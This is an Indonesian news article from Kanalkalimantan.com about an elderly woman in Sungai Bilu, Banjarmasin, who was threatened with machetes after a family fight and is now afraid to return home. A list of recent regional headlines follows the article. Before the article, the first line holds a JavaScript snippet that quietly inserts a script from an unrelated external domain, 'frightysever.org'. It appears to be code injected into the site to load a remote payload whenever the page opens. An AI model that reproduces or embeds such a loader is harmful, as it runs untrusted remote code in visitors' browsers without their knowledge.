(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ditakut-takuti Pakai Parang, Nenek di Sungai Bilu Tak Berani Pulang


KANALKALIMANTAN.COM, BANJARMASIN – Seorang perempuan lansia (Lanjut usia) ditakut-takuti dengan senjata tajam (sajam) di Sungai Bilu, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

Sejumlah lelaki terekam CCTV menenteng parang menuju ke salah satu rumah warga di dalam kawasan gang.

Belakangan diketahui, kejadian dugaan pengancaman bermula ketika adanya perkelahian pada Minggu (9/2/2025) yang menyebabkan F mengalami luka.

Baca juga: Kuliner Ikan Khas Banua Disajikan di Anjungan Kalsel TMII

Orangtua MA, Abdul Halim mengatakan, kejadian perkelahian berawal karena kesalahpahaman antara dirinya dan korban terkait uang. Namun, MA yang niat membela ayahnya itu langsung menemui dan melukai F.

Tidak lama pasca kejadian perkelahian, terduga pelaku MA (20) telah diamankan pihak kepolisian.

Menurut Abdul Halim, sebelum kedatangan polisi, beberapa anggota keluarga F yang tidak terima langsung melakukan penyerangan ke kediaman anggota keluarganya.

Baca juga: Pj Bupati HSU Ajak Masyarakat Berpola Hidup Sehat Cek Kesehatan Berkala

“Ketika MA diamankan di rumah sebelum datang polisi, beberapa orang datang pakai parang,” ujarnya.

Rusina, nenek dari MA, mengaku sejak kejadian tersebut belum berani untuk balik ke rumah dan terpaksa menumpang di rumah anaknya.

Sebab dirinya sesaat usai kejadian perkelahian juga sempat menjadi sasaran dugaan pengancaman.

Baca juga: Wali Kota Aditya Resmikan Asrama Mahasiswa Putri Banjarbaru di Malang

“Setelah kejadian itu saya tidak tinggal di rumah situ lagi, tidak berani,” kata Nenek Rusina.

Perempuan paruh baya ini mengaku trauma selalu kepikiran dan kehilangan nafsu makan pasca kejadian tersebut.

Begitu juga Abdul Halim, mengaku sudah sekitar lima hari tak pulang ke rumah dan menginap di rumah kerabat pasca kejadian tersebut.

Aksi dugaan pengancaman tersebut sempat diadukan ke Polsek Banjarmasin pada Kamis (13/2/2025), namun disarankan langsung melapor ke Polres Kota Banjarmasin.

Kedua warga Sungai Bilu ini meminta perlindungan dan pengamanan kepada pihak terkait. Dan berharap kejadian serupa tidak terulang. Pihak keluarga korban berencana akan membuat laporan ke Polresta Banjarmasin terkait dugaan pengancaman tersebut.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

23 menit ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More

2 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

3 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

14 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

14 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

19 jam ago

This website uses cookies.